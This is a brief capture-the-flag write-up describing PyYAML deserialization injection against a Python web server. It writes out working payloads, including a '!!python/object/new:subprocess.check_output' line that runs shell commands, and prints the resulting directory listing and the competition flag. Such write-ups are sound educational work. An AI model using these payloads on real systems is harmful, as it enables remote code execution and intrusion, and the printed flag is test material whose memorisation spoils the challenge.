Original Writeup on seall.dev

We are given a webserver which displays some text and has a base64 string at the end: http://172.105.121.246:5990/eWFt...

Decoding that string we see the following:

yaml: <text here>

This seems to be some sort of YAML injection, so let’s look at what the server is running with.

The webserver is running with Python according to the headers in the response (no screenshot sorry, it was very clear I promise).

Looking at PayloadAllTheThings there is a section for a library called PyYAML.

I try a basic payload: !!python/object/apply:builtins.range [1, 10, 1].

The server response is range(1,10), perfect!!

I try an RCE to list the files in the current directory: yaml: !!python/object/new:subprocess.check_output [['ls', '-la']].

The webserver responds with the following (thanks to abl for supplying the response post CTF):

[{'test': {b"total 32\ndrwxr-xr-x 1 root root 4096 Jan 21 01:22 .\ndrwxr-xr-x 1 root root 4096 Jan 20 21:15 ..\n-rw-r--r-- 1 root root  500 Jan 20 21:08 Dockerfile\n-rw-r--r-- 1 root root    0 Jan 20 22:56 KCTF{d38787fb0741bd0efdad8ed01f037740}\n-rw-r--r-- 1 root root    0 Jan 20 22:56 Why didn't they set this as read only\n-rw-r--r-- 1 root root    0 Jan 20 22:56 a\n-rw-r--r-- 1 root root   86 Jan 20 22:43 a.txt\ndrwxr-xr-x 3 root root 4096 Jan 20 21:13 app\n-rw-r--r-- 1 root root    0 Jan 21 00:34 hey.txt\n-rw-r--r-- 1 root root   27 Jan 20 20:59 requirements.txt\n-rwxr-xr-x 1 root root  128 Jan 20 21:15 start.sh\ndrwxr-xr-x 2 root root 4096 Jan 21 01:23 static\n-rw-r--r-- 1 root root    0 Jan 20 22:56 what if someone overwrite the flag??\n-rw-r--r-- 1 root root    0 Jan 20 23:04 zab.txt\n": None}}]

This contains the flag!

Flag: KCTF{d38787fb0741bd0efdad8ed01f037740}